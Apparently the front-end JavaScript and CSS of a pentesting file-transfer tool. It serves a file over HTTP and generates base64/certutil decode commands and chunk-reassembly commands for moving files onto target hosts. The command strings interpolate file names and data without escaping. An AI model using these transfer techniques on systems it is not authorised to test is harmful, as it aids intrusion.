base64Data = response.data; 318 | const filename = response.filename; 319 | 320 | // Update output container - only show preview of base64 data 321 | if (base64Data.length > 1000) { 322 | // Only show partial data to improve performance 323 | base64Output.textContent = base64Data.substring(0, 500) + 324 | '\n[... data truncated for display purposes ...]\n' + 325 | base64Data.substring(base64Data.length - 500); 326 | } else { 327 | base64Output.textContent = base64Data; 328 | } 329 | 330 | // Update decode command based on selected decoder, including actual data 331 | updateBase64DecodeCommand(filename, base64Data); 332 | 333 | // Show output container 334 | base64OutputContainer.classList.remove('hidden'); 335 | 336 | showNotification(`File encoded to base64 (${formatBytes(response.size)})`, 'success'); 337 | } else { 338 | const errorMsg = response && response.error ? response.error : "Unknown error"; 339 | showNotification(`Base64 encoding failed: ${errorMsg}`, 'error', 5000); 340 | } 341 | }).catch(err => { 342 | setLoading(convertBase64Btn, false); 343 | console.error("Error calling file_to_base64 API:", err); 344 | showNotification('Communication error with backend', 'error', 5000); 345 | }); 346 | }); 347 | 348 | base64DecodeCmd.addEventListener('change', function() { 349 | if (base64Data && currentFilename) { 350 | updateBase64DecodeCommand(currentFilename, base64Data); 351 | } 352 | }); 353 | 354 | copyBase64Btn.addEventListener('click', function() { 355 | const decodeCommand = base64DecodeCommand.textContent; 356 | if (decodeCommand) { 357 | copySingleCommand(decodeCommand); 358 | } 359 | }); 360 | } 361 | 362 | // Update base64 decode command based on OS selection WITH THE ACTUAL DATA 363 | function updateBase64DecodeCommand(filename, data) { 364 | const os = base64DecodeCmd.value; 365 | let command = ''; 366 | 367 | // If data is very large, create a command that will actually work 368 | const truncateLength = 200; // Characters to show of large data 369 | const isDataTooLarge = data && data.length > 10000; 370 | 371 | if (os === 'linux') { 372 | if (isDataTooLarge) { 373 | // For large files, provide the command structure and first/last part of data 374 | const previewData = data.substring(0, truncateLength) + '...' + 375 | data.substring(data.length - truncateLength); 376 | command = `# Base64 data too large to display fully (${formatBytes(data.length * 0.75)})\n` + 377 | `# Save this to a file first:\n` + 378 | `echo '${previewData}' > encoded.b64\n` + 379 | `# Then decode with:\n` + 380 | `cat encoded.b64 | base64 -d > "${filename}"\n` + 381 | `# The actual data starts with: ${data.substring(0, 20)}...`; 382 | } else { 383 | command = `echo '${data}' | base64 -d > "${filename}"`; 384 | } 385 | } else if (os === 'windows') { 386 | if (isDataTooLarge) { 387 | const previewData = data.substring(0, truncateLength) + '...' + 388 | data.substring(data.length - truncateLength); 389 | command = `# Base64 data too large to display fully (${formatBytes(data.length * 0.75)})\n` + 390 | `# 1. Save this to encoded.b64 file first\n` + 391 | `# Data begins with: ${data.substring(0, 20)}...\n\n` + 392 | `# 2. Then decode with:\n` + 393 | `certutil -decode encoded.b64 "${filename}"\n` + 394 | `del encoded.b64`; 395 | } else { 396 | command = `echo ${data} > encoded.b64\ncertutil -decode encoded.b64 "${filename}"\ndel encoded.b64`; 397 | } 398 | } 399 | 400 | base64DecodeCommand.textContent = command; 401 | } 402 | 403 | // Implement file chunking with optimized UI updates 404 | function setupFileChunking() { 405 | splitFileBtn.addEventListener('click', function() { 406 | if (!selectedFilePath) { 407 | showNotification("Please select a file first", 'warning'); 408 | return; 409 | } 410 | 411 | const chunkSizeKB = parseInt(splitSize.value); 412 | if (isNaN(chunkSizeKB) || chunkSizeKB < 16 || chunkSizeKB > 10240) { 413 | showNotification("Please enter a valid chunk size (16-10240 KB)", 'warning'); 414 | return; 415 | } 416 | 417 | setLoading(this, true); 418 | splitResults.classList.add('hidden'); 419 | 420 | window.pywebview.api.split_file(selectedFilePath, chunkSizeKB).then(function(response) { 421 | setLoading(splitFileBtn, false); 422 | 423 | if (response && response.success) { 424 | chunksCreated = response.chunks; 425 | 426 | // Clear previous list 427 | chunkList.innerHTML = ''; 428 | 429 | // Limit number of chunks shown for better performance 430 | const displayLimit = 50; // Show at most 50 chunks 431 | let chunksToShow = chunksCreated; 432 | 433 | if (chunksCreated.length > displayLimit) { 434 | // Just show first 25 and last 25 chunks 435 | const firstHalf = chunksCreated.slice(0, displayLimit / 2); 436 | const secondHalf = chunksCreated.slice(chunksCreated.length - displayLimit / 2); 437 | chunksToShow = [...firstHalf, ...secondHalf]; 438 | 439 | // Add ellipsis to indicate truncation 440 | const totalHidden = chunksCreated.length - displayLimit; 441 | const ellipsisItem = document.createElement('li'); 442 | ellipsisItem.textContent = `... ${totalHidden} more chunks ...`; 443 | ellipsisItem.className = 'truncated-chunk-notice'; 444 | 445 | // Add each chunk to the list with batch rendering 446 | const fragment = document.createDocumentFragment(); 447 | 448 | firstHalf.forEach(chunk => { 449 | const li = document.createElement('li'); 450 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`; 451 | fragment.appendChild(li); 452 | }); 453 | 454 | fragment.appendChild(ellipsisItem); 455 | 456 | secondHalf.forEach(chunk => { 457 | const li = document.createElement('li'); 458 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`; 459 | fragment.appendChild(li); 460 | }); 461 | 462 | chunkList.appendChild(fragment); 463 | } else { 464 | // Batch render all chunks for better performance 465 | const fragment = document.createDocumentFragment(); 466 | chunksToShow.forEach(chunk => { 467 | const li = document.createElement('li'); 468 | li.textContent = `${chunk.name} (${formatBytes(chunk.size)})`; 469 | fragment.appendChild(li); 470 | }); 471 | chunkList.appendChild(fragment); 472 | } 473 | 474 | // Create reassembly command 475 | const filename = response.original_file; 476 | const isWindows = navigator.platform.indexOf('Win') !== -1; 477 | let command = ''; 478 | 479 | if (isWindows) { 480 | command = `copy /b "${filename}.001" + "${filename}.002" + ... "${filename}"`; 481 | } else { 482 | command = `cat ${filename}.* > ${filename}`; 483 | } 484 | 485 | chunkReassemblyCmd.textContent = command; 486 | 487 | // Show results 488 | splitResults.classList.remove('hidden'); 489 | 490 | showNotification(`File split into ${chunksCreated.length} chunks`, 'success'); 491 | } else { 492 | const errorMsg = response && response.error ? response.error : "Unknown error"; 493 | showNotification(`File chunking failed: ${errorMsg}`, 'error', 5000); 494 | } 495 | }).catch(err => { 496 | setLoading(splitFileBtn, false); 497 | console.error("Error calling split_file API:", err); 498 | showNotification('Communication error with backend', 'error', 5000); 499 | }); 500 | }); 501 | 502 | copyReassemblyCmd.addEventListener('click', function() { 503 | const command = chunkReassemblyCmd.textContent; 504 | if (command) { 505 | copySingleCommand(command); 506 | } 507 | }); 508 | } 509 | 510 | // Format bytes to human-readable size 511 | function formatBytes(bytes, decimals = 2) { 512 | if (bytes === 0) return '0 Bytes'; 513 | 514 | const k = 1024; 515 | const dm = decimals < 0 ? 0 : decimals; 516 | const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']; 517 | 518 | const i = Math.floor(Math.log(bytes) / Math.log(k)); 519 | 520 | return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; 521 | } 522 | 523 | // Use debounce for input events to improve performance 524 | const debouncedUpdateCommand = debounce(updateDownloadCommand, 100); 525 | 526 | // Populate IP addresses on load 527 | window.pywebview.api.get_ip_addresses().then(function(ips) { 528 | // Clear loading message 529 | ipAddressSelect.innerHTML = ''; 530 | 531 | // Add default 127.0.0.1 532 | const defaultOption = document.createElement('option'); 533 | defaultOption.value = '127.0.0.1'; 534 | defaultOption.textContent = '127.0.0.1 (Localhost)'; 535 | ipAddressSelect.appendChild(defaultOption); 536 | 537 | if (ips && ips.length > 0) { 538 | ips.forEach(ip => { 539 | if (ip !== '127.0.0.1') { 540 | const option = document.createElement('option'); 541 | option.value = ip; 542 | option.textContent = ip; 543 | ipAddressSelect.appendChild(option); 544 | } 545 | }); 546 | } 547 | 548 | // Add custom option 549 | const customOption = document.createElement('option'); 550 | customOption.value = 'custom'; 551 | customOption.textContent = 'Enter Custom IP...'; 552 | ipAddressSelect.appendChild(customOption); 553 | 554 | // Set default selection to first non-loopback if available 555 | const firstNonLoopback = ips ? ips.find(ip => ip !== '127.0.0.1') : null; 556 | if (firstNonLoopback) { 557 | ipAddressSelect.value = firstNonLoopback; 558 | } else { 559 | ipAddressSelect.value = '127.0.0.1'; 560 | } 561 | 562 | // Hide custom input initially 563 | ipAddressCustomInput.style.display = 'none'; 564 | updateUiState(); 565 | }).catch(err => { 566 | console.error("Error getting IP addresses:", err); 567 | ipAddressSelect.innerHTML = ''; 568 | 569 | // Add placeholder option 570 | const errorOption = document.createElement('option'); 571 | errorOption.value = '127.0.0.1'; 572 | errorOption.textContent = '127.0.0.1 (Network error)'; 573 | ipAddressSelect.appendChild(errorOption); 574 | 575 | // Add custom option 576 | const customOption = document.createElement('option'); 577 | customOption.value = 'custom'; 578 | customOption.textContent = 'Enter Custom IP...'; 579 | ipAddressSelect.appendChild(customOption); 580 | 581 | showNotification('Could not load network interfaces', 'error'); 582 | updateUiState(); 583 | }); 584 | 585 | // Listener for IP Select Dropdown 586 | ipAddressSelect.addEventListener('change', function() { 587 | if (this.value === 'custom') { 588 | ipAddressCustomInput.style.display = 'block'; 589 | ipAddressCustomInput.focus(); 590 | } else { 591 | ipAddressCustomInput.style.display = 'none'; 592 | } 593 | debouncedUpdateCommand(); 594 | }); 595 | 596 | // Listener for Custom IP Input 597 | ipAddressCustomInput.addEventListener('input', debouncedUpdateCommand); 598 | 599 | selectFileBtn.addEventListener('click', function() { 600 | setLoading(this, true); 601 | window.pywebview.api.select_file().then(function(selectedPath) { 602 | setLoading(selectFileBtn, false); 603 | if (selectedPath) { 604 | selectedFilePath = selectedPath; 605 | currentFilename = selectedPath.split(/[\\/]/).pop(); 606 | filePathInput.value = selectedFilePath; 607 | console.log(`File selected: ${selectedFilePath}, Filename: ${currentFilename}`); 608 | showNotification(`Selected file: ${currentFilename}`, 'success'); 609 | updateUiState(); 610 | } else { 611 | console.log("File selection cancelled or failed."); 612 | selectedFilePath = null; 613 | currentFilename = null; 614 | filePathInput.value = ""; 615 | updateUiState(); 616 | } 617 | }).catch(err => { 618 | setLoading(selectFileBtn, false); 619 | console.error("Error calling select_file API:", err); 620 | showNotification('Error opening file dialog', 'error'); 621 | selectedFilePath = null; 622 | currentFilename = null; 623 | filePathInput.value = ""; 624 | updateUiState(); 625 | }); 626 | }); 627 | 628 | startServerBtn.addEventListener('click', function() { 629 | const currentIP = getCurrentIpAddress(); 630 | const port = portInput.value; 631 | 632 | if (!selectedFilePath) { 633 | showNotification("Please select a file first", 'warning'); 634 | return; 635 | } 636 | 637 | if (ipAddressSelect.value === 'custom' && !currentIP) { 638 | showNotification("Please enter a custom IP address", 'warning'); 639 | return; 640 | } 641 | 642 | if (ipAddressSelect.value === 'custom' && !/^(\d{1,3}\.){3}\d{1,3}$/.test(currentIP) && currentIP !== "localhost") { 643 | showNotification("Invalid IP address format", 'error'); 644 | return; 645 | } 646 | 647 | if (!port || port < 1 || port > 65535) { 648 | showNotification("Please enter a valid port (1-65535)", 'error'); 649 | return; 650 | } 651 | 652 | // Show loading state 653 | setLoading(this, true); 654 | serverStatusSpan.textContent = 'Status: Starting...'; 655 | serverStatusSpan.classList.remove('stopped', 'running', 'error'); 656 | serverStatusSpan.classList.add('running', 'pulse'); 657 | 658 | window.pywebview.api.start_server(selectedFilePath, port).then(function(response) { 659 | setLoading(startServerBtn, false); 660 | 661 | if (response && response.success) { 662 | isServerRunning = true; 663 | currentFilename = response.filename; 664 | updateUiState(); 665 | // Success notification with IP:port info 666 | const ip = getCurrentIpAddress(); 667 | showNotification(`Server running at ${ip}:${port}`, 'success'); 668 | console.log(`Server started successfully serving ${currentFilename} from ${response.directory} on port ${response.port}`); 669 | } else { 670 | isServerRunning = false; 671 | const errorMsg = response && response.error ? response.error : "Unknown error"; 672 | setStatusError('Failed'); 673 | showNotification(`Server failed to start: ${errorMsg}`, 'error', 5000); 674 | console.error(`Failed to start server: ${errorMsg}`); 675 | updateUiState(); 676 | } 677 | }).catch(err => { 678 | setLoading(startServerBtn, false); 679 | isServerRunning = false; 680 | setStatusError('Error'); 681 | showNotification('Communication error with backend', 'error', 5000); 682 | console.error("Error calling start_server API:", err); 683 | updateUiState(); 684 | }); 685 | }); 686 | 687 | stopServerBtn.addEventListener('click', function() { 688 | setLoading(this, true); 689 | serverStatusSpan.textContent = 'Status: Stopping...'; 690 | 691 | window.pywebview.api.stop_server().then(function(response) { 692 | setLoading(stopServerBtn, false); 693 | 694 | if (response && response.success) { 695 | isServerRunning = false; 696 | updateUiState(); 697 | showNotification('Server stopped successfully', 'success'); 698 | 699 | if(response.warning) { 700 | showNotification(response.warning, 'warning', 5000); 701 | } 702 | } else { 703 | isServerRunning = false; 704 | const errorMsg = response && response.error ? response.error : "Unknown error"; 705 | setStatusError('Stop Failed'); 706 | showNotification(`Failed to stop server cleanly: ${errorMsg}`, 'error', 5000); 707 | updateUiState(); 708 | } 709 | }).catch(err => { 710 | setLoading(stopServerBtn, false); 711 | isServerRunning = false; 712 | setStatusError('Error'); 713 | showNotification('Communication error with backend', 'error', 5000); 714 | console.error("Error calling stop_server API:", err); 715 | updateUiState(); 716 | }); 717 | }); 718 | 719 | // Add event listeners with debounce for better performance 720 | portInput.addEventListener('change', debouncedUpdateCommand); 721 | portInput.addEventListener('input', debouncedUpdateCommand); 722 | 723 | // Setup additional features 724 | setupTabs(); 725 | setupCopyButtons(); 726 | setupBase64Conversion(); 727 | setupFileChunking(); 728 | 729 | // Initial setup 730 | updateUiState(); 731 | }); -------------------------------------------------------------------------------- /web/style.css: -------------------------------------------------------------------------------- 1 | :root { 2 | /* Pentesting-focused color palette */ 3 | --bg-color: #0c0e14; /* Darker background */ 4 | --widget-bg-color: #161b22; /* Terminal-like widget background */ 5 | --text-color: #e2e8f0; /* Light text */ 6 | --text-muted-color: #7a869a; 7 | --primary-color: #00b1e2; /* Cyan-blue for hacker aesthetic */ 8 | --primary-hover-color: #0098c3; 9 | --secondary-color: #2e3440; 10 | --border-color: #30363d; 11 | --success-color: #10b981; /* Green */ 12 | --error-color: #ef4444; /* Red */ 13 | --warning-color: #f59e0b; /* Amber */ 14 | --font-family: 'JetBrains Mono', 'Fira Code', 'Inter', -apple-system, BlinkMacSystemFont, monospace; 15 | --border-radius: 6px; 16 | --box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); 17 | --box-shadow-hover: 0 4px 12px rgba(0, 0, 0, 0.3); 18 | --transition-speed: 0.15s; 19 | --code-bg: rgba(0, 0, 0, 0.2); 20 | } 21 | 22 | @import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600&family=JetBrains+Mono:wght@400;500&display=swap'); 23 | 24 | body { 25 | font-family: var(--font-family); 26 | margin: 0; 27 | padding: 20px; 28 | background-color: var(--bg-color); /* Solid color instead of gradient for better performance */ 29 | color: var(--text-color); 30 | font-size: 14px; 31 | line-height: 1.6; 32 | overflow-y: auto; 33 | overflow-x: hidden; 34 | height: auto; 35 | min-height: 100vh; 36 | box-sizing: border-box; 37 | } 38 | 39 | h1 { 40 | text-align: center; 41 | color: var(--primary-color); 42 | margin-top: 0; 43 | margin-bottom: 25px; 44 | font-weight: 600; 45 | letter-spacing: 0.5px; 46 | position: relative; 47 | display: inline-block; 48 | padding-bottom: 8px; 49 | align-self: center; 50 | } 51 | 52 | h1::after { 53 | content: ''; 54 | position: absolute; 55 | bottom: 0; 56 | left: 25%; 57 | width: 50%; 58 | height: 3px; 59 | background-color: var(--primary-color); 60 | border-radius: 3px; 61 | } 62 | 63 | .container { 64 | display: flex; 65 | flex-direction: column; 66 | gap: 16px; 67 | max-width: 900px; 68 | margin: 0 auto; 69 | width: 100%; 70 | position: relative; 71 | } 72 | 73 | /* Reduce custom scrollbar styling for performance */ 74 | .container::-webkit-scrollbar { 75 | width: 6px; 76 | } 77 | .container::-webkit-scrollbar-track { 78 | background: var(--secondary-color); 79 | } 80 | .container::-webkit-scrollbar-thumb { 81 | background-color: var(--border-color); 82 | } 83 | 84 | .section { 85 | background-color: var(--widget-bg-color); 86 | padding: 18px 20px; 87 | margin-bottom: 0; 88 | border-radius: var(--border-radius); 89 | border: 1px solid var(--border-color); 90 | box-shadow: var(--box-shadow); 91 | /* Remove hover transform for performance */ 92 | } 93 | 94 | /* Remove section hover effects for better performance */ 95 | .section:hover { 96 | box-shadow: var(--box-shadow); 97 | } 98 | 99 | /* --- Input/Select Styles --- */ 100 | input[type="text"], 101 | input[type="number"], 102 | select { 103 | padding: 10px 12px; 104 | border: 1px solid var(--border-color); 105 | background-color: rgba(12, 14, 20, 0.5); 106 | color: #ffffff; /* Brighter white text for better readability */ 107 | border-radius: var(--border-radius); 108 | flex-grow: 1; 109 | min-width: 80px; 110 | box-sizing: border-box; 111 | transition: border-color var(--transition-speed) ease; 112 | font-size: inherit; 113 | font-family: var(--font-family); 114 | font-weight: 500; /* Make text slightly bolder */ 115 | } 116 | 117 | input:focus, 118 | select:focus { 119 | outline: none; 120 | border-color: var(--primary-color); 121 | background-color: rgba(0, 0, 0, 0.7); /* Even darker when focused */ 122 | box-shadow: 0 0 0 1px var(--primary-color); 123 | } 124 | 125 | /* Add specific enhancement for IP address inputs */ 126 | #ip-address-custom, 127 | #ip-address-select { 128 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */ 129 | color: #8899aa; /* Use a darker light color */ 130 | } 131 | 132 | /* Add specific enhancement for base64 command field */ 133 | #base64-decode-cmd { 134 | background-color: rgba(0, 0, 0, 0.6); /* Darker background */ 135 | color: #8899aa; /* Use a darker light color */ 136 | } 137 | 138 | /* Add specific enhancement for split file input field */ 139 | #split-size { 140 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */ 141 | color: #8899aa; /* Use a darker light color */ 142 | font-weight: 500; /* Slightly bolder text */ 143 | } 144 | 145 | /* --- Button Styles --- */ 146 | button { 147 | padding: 10px 16px; 148 | font-size: 14px; 149 | font-weight: 500; 150 | background: var(--primary-color); 151 | color: white; 152 | border: none; 153 | border-radius: var(--border-radius); 154 | cursor: pointer; 155 | transition: background-color var(--transition-speed) ease; 156 | font-family: var(--font-family); 157 | } 158 | 159 | /* Simplify button after pseudo-element */ 160 | button::after { 161 | display: none; 162 | } 163 | 164 | button:hover { 165 | background: var(--primary-hover-color); 166 | } 167 | 168 | button:active { 169 | transform: translateY(1px); 170 | } 171 | 172 | button:disabled { 173 | background: var(--secondary-color); 174 | color: var(--text-muted-color); 175 | cursor: not-allowed; 176 | } 177 | 178 | /* Specific button adjustments */ 179 | #select-file-btn { 180 | flex-shrink: 0; /* Prevent shrinking */ 181 | } 182 | 183 | /* --- File Selection Section --- */ 184 | .file-selection { 185 | display: flex; 186 | gap: 15px; 187 | align-items: center; 188 | flex-wrap: wrap; 189 | } 190 | 191 | .file-input-wrapper { 192 | position: relative; 193 | flex-grow: 1; 194 | min-width: 200px; 195 | } 196 | 197 | .file-input-wrapper .file-icon { 198 | position: absolute; 199 | right: 12px; 200 | top: 50%; 201 | transform: translateY(-50%); 202 | color: var(--text-muted-color); 203 | pointer-events: none; 204 | } 205 | 206 | #file-path { 207 | width: 100%; 208 | background-color: rgba(0, 0, 0, 0.6); /* Darker background for better contrast */ 209 | border-color: var(--border-color); 210 | font-family: 'JetBrains Mono', monospace; 211 | color: #ffffff; /* Brighter white text */ 212 | padding-right: 40px; /* Space for icon */ 213 | font-weight: 500; /* Slightly bolder text */ 214 | } 215 | 216 | /* --- Network Config Section --- */ 217 | .network-config { 218 | display: flex; 219 | align-items: flex-end; 220 | gap: 20px; 221 | flex-wrap: wrap; 222 | } 223 | 224 | .ip-selection-group, 225 | .port-selection-group { 226 | display: flex; 227 | flex-direction: column; 228 | flex: 1 1 auto; 229 | min-width: 180px; 230 | gap: 8px; 231 | } 232 | 233 | /* --- Server Controls --- */ 234 | .server-controls { 235 | display: flex; 236 | align-items: center; 237 | gap: 15px; 238 | flex-wrap: wrap; 239 | } 240 | 241 | #server-status { 242 | font-weight: 600; 243 | padding: 8px 14px; 244 | border-radius: var(--border-radius); 245 | transition: all var(--transition-speed) ease; 246 | text-align: center; 247 | min-width: 120px; 248 | display: flex; 249 | align-items: center; 250 | justify-content: center; 251 | margin-left: auto; 252 | font-family: 'JetBrains Mono', monospace; 253 | } 254 | 255 | #server-status::before { 256 | content: ''; 257 | display: inline-block; 258 | width: 8px; 259 | height: 8px; 260 | border-radius: 50%; 261 | margin-right: 8px; 262 | background-color: currentColor; 263 | } 264 | 265 | #server-status.stopped { 266 | background-color: var(--secondary-color); 267 | color: var(--text-muted-color); 268 | } 269 | 270 | #server-status.running { 271 | background-color: rgba(16, 185, 129, 0.2); 272 | color: var(--success-color); 273 | } 274 | 275 | #server-status.error { 276 | background-color: rgba(239, 68, 68, 0.2); 277 | color: var(--error-color); 278 | } 279 | 280 | /* --- Command Section with Tabs --- */ 281 | .command-section { 282 | display: flex; 283 | flex-direction: column; 284 | min-height: 250px; 285 | height: auto; 286 | overflow: visible; 287 | margin-bottom: 15px; 288 | } 289 | 290 | .command-section h2 { 291 | margin-top: 0; 292 | margin-bottom: 15px; 293 | font-weight: 500; 294 | color: var(--text-color); 295 | border-bottom: 1px solid var(--border-color); 296 | padding-bottom: 10px; 297 | display: flex; 298 | align-items: center; 299 | gap: 8px; 300 | } 301 | 302 | .command-tabs { 303 | display: flex; 304 | margin-bottom: 15px; 305 | border-bottom: 1px solid var(--border-color); 306 | gap: 2px; 307 | } 308 | 309 | .tab-button { 310 | background: transparent; 311 | border: none; 312 | color: var(--text-muted-color); 313 | padding: 8px 15px; 314 | font-weight: 500; 315 | border-radius: var(--border-radius) var(--border-radius) 0 0; 316 | border-bottom: 2px solid transparent; 317 | box-shadow: none; 318 | transition: all var(--transition-speed) ease; 319 | } 320 | 321 | .tab-button:hover { 322 | color: var(--text-color); 323 | background-color: rgba(0, 177, 226, 0.1); 324 | transform: none; 325 | } 326 | 327 | .tab-button.active { 328 | color: var(--primary-color); 329 | border-bottom: 2px solid var(--primary-color); 330 | background-color: rgba(0, 177, 226, 0.1); 331 | } 332 | 333 | .tab-content { 334 | display: none; 335 | flex-direction: column; 336 | min-height: 180px; 337 | height: auto; 338 | overflow: visible; 339 | position: relative; 340 | opacity: 0; 341 | transition: opacity 0.2s ease; 342 | } 343 | 344 | .tab-content.active { 345 | display: flex; 346 | opacity: 1; 347 | } 348 | 349 | /* Improve placeholder text visibility */ 350 | .placeholder-text { 351 | display: flex; 352 | align-items: center; 353 | justify-content: center; 354 | flex-grow: 1; 355 | padding: 20px; 356 | font-style: italic; 357 | color: #a3b1cc; /* Brighter color for better visibility */ 358 | font-size: 1.1em; 359 | text-align: center; 360 | line-height: 1.5; 361 | background-color: rgba(12, 14, 20, 0.5); 362 | border-radius: var(--border-radius); 363 | border: 1px dashed var(--border-color); 364 | margin: 10px 0; 365 | } 366 | 367 | .placeholder-text i { 368 | font-size: 1.2em; 369 | margin-right: 8px; 370 | color: var(--primary-color); 371 | } 372 | 373 | /* --- Pentest Tools Section --- */ 374 | .pentest-tools { 375 | height: auto; 376 | overflow: visible; 377 | margin-bottom: 50px; /* Extra space at the bottom to prevent overlap */ 378 | } 379 | 380 | .pentest-tools h2 { 381 | margin-top: 0; 382 | margin-bottom: 15px; 383 | font-weight: 500; 384 | color: var(--text-color); 385 | border-bottom: 1px solid var(--border-color); 386 | padding-bottom: 10px; 387 | display: flex; 388 | align-items: center; 389 | gap: 8px; 390 | } 391 | 392 | .tools-grid { 393 | display: grid; 394 | grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); 395 | gap: 20px; 396 | margin-bottom: 20px; 397 | } 398 | 399 | .tool-card { 400 | background-color: rgba(12, 14, 20, 0.3); 401 | border-radius: var(--border-radius); 402 | padding: 15px; 403 | border: 1px solid var(--border-color); 404 | transition: all var(--transition-speed) ease; 405 | min-height: 200px; 406 | display: flex; 407 | flex-direction: column; 408 | } 409 | 410 | .tool-card:hover { 411 | border-color: var(--primary-color); 412 | background-color: rgba(0, 177, 226, 0.05); 413 | } 414 | 415 | .tool-card h3 { 416 | margin-top: 0; 417 | color: var(--primary-color); 418 | font-weight: 500; 419 | font-size: 16px; 420 | margin-bottom: 10px; 421 | display: flex; 422 | align-items: center; 423 | gap: 8px; 424 | } 425 | 426 | .tool-card h4 { 427 | margin: 15px 0 5px 0; 428 | font-size: 14px; 429 | font-weight: 500; 430 | color: var(--text-color); 431 | } 432 | 433 | .tool-card p { 434 | color: var(--text-muted-color); 435 | margin: 0 0 15px 0; 436 | font-size: 0.9em; 437 | } 438 | 439 | .tool-card .form-group { 440 | margin-bottom: 15px; 441 | } 442 | 443 | .tool-content { 444 | flex-grow: 1; 445 | display: flex; 446 | flex-direction: column; 447 | } 448 | 449 | .shell-cmd-block { 450 | border: 1px solid var(--border-color); 451 | border-radius: var(--border-radius); 452 | margin-bottom: 15px; 453 | background-color: rgba(12, 14, 20, 0.7); 454 | } 455 | 456 | .shell-cmd-block h3 { 457 | margin: 0; 458 | padding: 10px 15px; 459 | font-size: 16px; 460 | font-weight: 500; 461 | color: var(--text-color); 462 | background-color: rgba(0, 0, 0, 0.2); 463 | border-bottom: 1px solid var(--border-color); 464 | } 465 | 466 | .hidden { 467 | display: none; 468 | } 469 | 470 | #chunk-list { 471 | margin: 5px 0; 472 | padding-left: 20px; 473 | color: var(--text-muted-color); 474 | } 475 | 476 | #chunk-list li { 477 | margin-bottom: 3px; 478 | } 479 | 480 | /* --- Notification Styling --- */ 481 | #notification-area { 482 | position: fixed; 483 | bottom: 20px; 484 | right: 20px; 485 | z-index: 1000; 486 | display: flex; 487 | flex-direction: column; 488 | gap: 10px; 489 | align-items: flex-end; 490 | pointer-events: none; /* Allow clicking through */ 491 | } 492 | 493 | .notification { 494 | background-color: var(--success-color); 495 | color: white; 496 | padding: 10px 16px; 497 | border-radius: var(--border-radius); 498 | box-shadow: var(--box-shadow); 499 | opacity: 0; 500 | transform: translateX(50px); 501 | transition: opacity var(--transition-speed) ease, transform var(--transition-speed) ease; 502 | max-width: 300px; 503 | font-size: 13px; 504 | font-weight: 500; 505 | pointer-events: auto; /* Make the notification clickable */ 506 | } 507 | 508 | .notification.show { 509 | opacity: 1; 510 | transform: translateX(0%); 511 | } 512 | 513 | .notification.error { background-color: var(--error-color); } 514 | .notification.warning { background-color: var(--warning-color); } 515 | 516 | /* --- Responsive Adjustments --- */ 517 | @media (max-width: 650px) { 518 | body { 519 | padding: 15px; 520 | height: auto; 521 | } 522 | 523 | .network-config, 524 | .server-controls { 525 | flex-direction: column; 526 | align-items: stretch; 527 | gap: 15px; 528 | } 529 | 530 | .file-selection { 531 | flex-direction: column; 532 | align-items: stretch; 533 | gap: 10px; 534 | } 535 | 536 | .command-block { 537 | flex-direction: column; 538 | align-items: flex-start; 539 | gap: 8px; 540 | } 541 | .copy-single-btn { 542 | margin-left: 0; 543 | margin-top: 5px; 544 | align-self: flex-start; 545 | } 546 | .command-title { text-align: left; } 547 | 548 | .tools-grid { 549 | grid-template-columns: 1fr; 550 | } 551 | 552 | #server-status { 553 | margin-left: 0; 554 | width: 100%; 555 | margin-top: 10px; 556 | } 557 | } 558 | 559 | /* Simplified pulse animation */ 560 | .pulse { 561 | animation: pulse 3s ease-in-out infinite; 562 | } 563 | 564 | @keyframes pulse { 565 | 0%, 100% { opacity: 1; } 566 | 50% { opacity: 0.7; } 567 | } 568 | 569 | /* Base64 output styling improvements */ 570 | #base64-output-container { 571 | margin-top: 15px; 572 | border-top: 1px solid var(--border-color); 573 | padding-top: 15px; 574 | } 575 | 576 | .output-pre { 577 | margin-bottom: 15px; 578 | padding: 10px; 579 | max-height: 200px; 580 | background-color: rgba(0, 0, 0, 0.4); /* Darker background */ 581 | font-size: 12.5px; 582 | line-height: 1.4; 583 | color: #ffffff; /* Ensure text is bright white */ 584 | border: 1px solid var(--border-color); 585 | } 586 | 587 | #base64-decode-command { 588 | background-color: rgba(16, 185, 129, 0.15); 589 | border: 1px solid rgba(16, 185, 129, 0.3); 590 | font-weight: 500; 591 | color: #ffffff; /* Ensure text is bright white */ 592 | text-shadow: 0px 0px 2px rgba(0, 0, 0, 0.5); /* Add subtle text shadow for better readability */ 593 | white-space: pre; /* Prevent wrapping */ 594 | overflow-x: auto; /* Enable horizontal scrolling */ 595 | } 596 | 597 | /* Make the tab content area more visible with a subtle border */ 598 | pre#download-command { 599 | background-color: rgba(12, 14, 20, 0.7); 600 | padding: 0; 601 | border: 1px solid var(--border-color); 602 | border-radius: var(--border-radius); 603 | font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace; 604 | font-size: 13px; 605 | overflow-y: auto; 606 | max-height: 300px; 607 | color: var(--text-color); 608 | display: flex; 609 | flex-direction: column; 610 | margin: 0 0 10px 0; 611 | min-height: 120px; /* Ensure minimum height for content */ 612 | } 613 | 614 | .command-block { 615 | padding: 12px 16px; 616 | border-bottom: 1px solid var(--border-color); 617 | display: flex; 618 | align-items: center; 619 | gap: 15px; 620 | position: relative; 621 | } 622 | 623 | .command-block:hover { 624 | background-color: rgba(255, 255, 255, 0.05); 625 | } 626 | 627 | .command-block:last-child { 628 | border-bottom: none; 629 | } 630 | 631 | .command-title { 632 | font-weight: 600; 633 | color: var(--primary-color); 634 | font-size: 0.9em; 635 | white-space: nowrap; 636 | flex-shrink: 0; 637 | min-width: 80px; 638 | text-align: right; 639 | } 640 | 641 | .command-block code { 642 | flex-grow: 1; 643 | white-space: pre-wrap; 644 | word-wrap: break-word; 645 | background-color: var(--code-bg); 646 | padding: 6px 10px; 647 | border-radius: 4px; 648 | font-family: 'JetBrains Mono', monospace; 649 | color: inherit; 650 | line-height: 1.6; 651 | min-width: 0; /* Add this to prevent breaking flex layout */ 652 | } 653 | 654 | .copy-single-btn { 655 | padding: 6px 12px; 656 | font-size: 12px; 657 | font-weight: 500; 658 | background-color: var(--secondary-color); 659 | color: var(--text-color); 660 | border: 1px solid var(--border-color); 661 | border-radius: 